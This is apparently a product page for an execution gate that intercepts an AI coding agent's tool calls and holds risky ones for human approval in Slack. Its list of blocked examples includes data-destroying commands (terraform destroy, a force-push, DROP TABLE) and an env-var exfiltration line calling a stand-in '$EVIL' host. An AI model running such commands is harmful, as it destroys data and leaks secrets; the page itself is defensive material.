Integration · Claude Code

Secure Claude Code agents with a deterministic execution gate

Claude Code will run whatever command it believes solves the task — and a prompt telling it to "be careful with production" is a suggestion, not a control. If the agent decides `terraform destroy` or a force-push is the answer, nothing in the prompt stops the process from executing.

Mergen adds the missing enforcement layer. It evaluates every covered tool call against your policy in under 1ms, before the handler runs: safe calls PASS, destructive calls are BLOCKED with a structured explanation the agent can act on, and risky-but-legitimate calls HOLD for a human approve/deny in Slack.

What is covered, precisely

Every MCP tools/call is intercepted unconditionally — this is the always-on core guarantee.
Claude Code's built-in Bash tool is additionally covered via a PreToolUse hook that `mergen-server setup` installs once per machine. A genuine policy BLOCK exits with code 2, which is the only exit code Claude Code treats as "stop this tool call."
Raw shell commands typed outside Claude Code are not covered — run them through `mergen-server exec -- <cmd>` to get the same gate explicitly.

Set up in three commands

Install the server

npm install -g mergen-server

Install integrations (MCP + Claude Code Bash hook)

mergen-server setup

Start the gate

mergen-server start

Or register the MCP server manually

claude mcp add mergen --transport stdio -- node "$(pwd)/server/dist/index.js"

What gets stopped

terraform destroy -auto-approve

Immutable hard-safety policy — no confidence level or agent persuasion bypasses it.

git push --force origin main

Escalated to HOLD; if a prior override or incident matches, the reason cites it.

DROP TABLE users;

Blocked, and quorum rules can require two distinct approvers for schema-destructive patterns.

curl $EVIL/exfil?d=$(env)

Structural env-var exfiltration detection — blocked regardless of obfuscation.

Human-in-the-loop approvals

When a call is held, Mergen suspends the tool-call Promise and posts an interactive approve/deny message to Slack. The approver’s identity is signature-verified and RBAC-checked; the decision resumes or denies the original call — the agent never has to restart its task.

Holds fail closed: an unanswered hold auto-denies after 15 minutes, and every decision lands in the append-only audit ledger.

The blocked response is a structured error with "why" and "what to do instead" — Claude Code reads it and reformulates within policy instead of stalling.

Install Mergen →Quick start guide →See the benchmark →

Also available for: Cursor · Windsurf · VS Code · GitHub Actions